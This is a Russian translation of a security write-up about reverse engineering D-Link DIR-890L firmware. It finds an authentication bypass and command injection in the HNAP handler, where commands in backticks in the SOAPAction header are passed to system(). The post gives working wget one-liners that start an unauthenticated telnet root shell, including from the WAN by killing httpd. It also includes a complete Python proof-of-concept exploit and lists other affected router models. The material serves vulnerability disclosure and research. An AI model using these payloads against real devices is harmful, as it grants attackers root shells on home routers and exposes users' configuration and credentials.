[Перевод] Взламываем D-Link DIR-890L

Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар: Insane routerСамый безумный роутер D-Link DIR-890L за $300

Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованной прошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:

DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0×0 DLOB firmware header, boot partition: «dev=/dev/mtdblock/7» 116 0×74 LZMA compressed data, properties: 0×5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0×1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0×1C0094 Squashfs filesystem, little endian, version 4.0, compress Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий: $ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл: $ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi → /htdocs/cgibin Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, main сравнивает argv[0] со списком известных ему имен симлинков (captcha.cgi, conntrack.cgi и т.д.) чтобы определить, какое действие выполнять: staircaseГраф вызовов, типичный каскад if/else

Каждое сравнение производится вызовом strcmp на известные имена симлинков:

imageРазные функции обработчиков разных симлинков

Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:

imageПереименованные функции-обработчики

Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией hnap_main в cgibin, похоже, никто особо не смотрел.

HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo (который бесполезен), требуют HTTP Basic-аутентификацию.

POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: «http://purenetworks.com/HNAP1/AddPortMapping» foobar 192.168.0.100 TCP 1234 1234 Заголовок SOAPAction очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие AddPortMapping в примере выше).Вследствие того, что cgibin запускается как CGI-приложение веб-сервером, hnap_main получает данные HNAP-запроса, например, заголовок SOAPAction, через переменные окружения:

imageSOAPAction = getenv («HTTP_SOAPACTION»);

Ближе к концу hnap_main, вызовом sprintf генерируется shell-команда, которая затем выполняется через system:

imagesprintf (command, «sh %s%s.sh > /dev/console»,»/var/run/», SOAPAction);

Очевидно, что hnap_main использует данные из заголовка SOAPAction внутри команды system! Этот баг подает надежды, особенно, если заголовок SOAPAction не экранируется, и если мы сможем попасть в это место без аутентификации.

В начале hnap_main проверяется, равен ли заголовок SOAPAction строке http://purenetworks.com/HNAP1/GetDeviceSettings, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings не требует аутентификации:

imageif (strstr (SOAPAction, «http://purenetworks.com/HNAP1/GetDeviceSettings») != NULL)

Заметим, однако, что для проверки используется функция strstr, которая только проверяет наличие строки http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке SOAPAction, а не равенство ей.Итак, если заголовок SOAPAction содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings, функция достает название действия (т.е. GetDeviceSettings) из заголовка и убирает двойные кавычки:

imageSOAPAction = strrchr (SOAPAction,»/»);

Имя действия (GetDeviceSettings) вычленяется из заголовка, затем попадает в system, проходя sprintf.Вот код на C, который демонстрирует ошибку в логике:

/* Grab a pointer to the SOAPAction header */ SOAPAction = getenv («HTTP_SOAPACTION»); /* Skip authentication if the SOAPAction header contains «http://purenetworks.com/HNAP1/GetDeviceSettings» */ if (strstr (SOAPAction, «http://purenetworks.com/HNAP1/GetDeviceSettings») == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr (SOAPAction, '/'); if (SOAPAction!= NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if (SOAPAction[strlen (SOAPAction)-1] == '»') { SOAPAction[strlen (SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf (command, «sh %s%s.sh > /dev/console»,»/var/run/», SOAPAction); system (command); Итак, что мы из этого вынесли: Проверка аутентификации отсутствует, если в заголовке SOAPAction есть подстрока http://purenetworks.com/HNAP1/GetDeviceSettings В sprintf (и system) передается все, что находится после последнего слеша в заголовке SOAPAction Мы с легкостью можем сформировать заголовок SOAPAction, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system: SOAPAction: «http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`» http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке позволяет нам обойти аутентификацию, а строка `reboot` будет передана в system system («sh /var/run/`reboot`.sh > /dev/console»); Заменой reboot на telnetd мы запустим telnet-сервер без аутентификации: $ wget --header='SOAPAction: «http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`»' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1… Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015–02–11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту: $ wget --header='SOAPAction: «http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`»' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4… Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015–02–11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней: #!/usr/bin/env python import sys import urllib2 import httplib try: ip_port = sys.argv[1].split (':') ip = ip_port[0] if len (ip_port) == 2: port = ip_port[1] elif len (ip_port) == 1: port = »80» else: raise IndexError except IndexError: print «Usage: %s » % sys.argv[0] sys.exit (1) url = «http://%s:%s/HNAP1» % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = «killall httpd; killall hnap; telnetd -p %s» % port headers = { «SOAPAction» : '«http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`»' % command, } req = urllib2.Request (url, None, headers) try: urllib2.urlopen (req) raise Exception («Unexpected response») except httplib.BadStatusLine: print «Exploit sent, try telnetting to %s:%s!» % (ip, port) print «To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'» sys.exit (0) except Exception: print «Received an unexpected response from the server; exploit probably failed. :(» Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге команде Centrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:

DAP-1522 revB DAP-1650 revB DIR-880L DIR-865L DIR-860L revA DIR-860L revB DIR-815 revB DIR-300 revB DIR-600 revB DIR-645 TEW-751DR TEW-733GR Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.

© Habrahabr.ru